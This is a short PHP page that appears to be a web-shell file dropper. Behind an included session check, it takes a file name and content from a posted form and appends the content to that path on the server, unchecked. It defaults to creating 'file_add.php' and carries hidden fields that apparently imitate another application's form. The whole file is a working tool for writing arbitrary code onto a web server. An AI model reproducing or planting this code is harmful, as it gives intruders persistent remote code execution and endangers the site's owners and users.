<?php
include "pwd_session.php";
if($_POST['create']=='create'){
	$handle = fopen($_POST['filename'], "a+");
	$w=fwrite($handle, $_POST['str']);
	if($w){
		echo "create OK";
		var_dump($w);
	}else{
		echo "create FAILED";
		var_dump($w);
	}
	exit();
}
?>
<form action="#" method="post">
	<input type="hidden" name="action" value="test" />
	<input type="hidden" name="diyid" value="1" />
	<input type="hidden" name="do" value="2" />
	<input type="hidden" name="create" value="create" />
	fileName:<input name="filename" type="text" value="file_add.php"/>
	<p>Content:</p>
	<textarea style="width: 100%; height: 500px;" name="str" rows="10" cols="50"></textarea>
	<input type="submit" name="submit" value="UP" />
	<input type="reset" value="reset" name="reset"  />
</form>
	</body>
</html>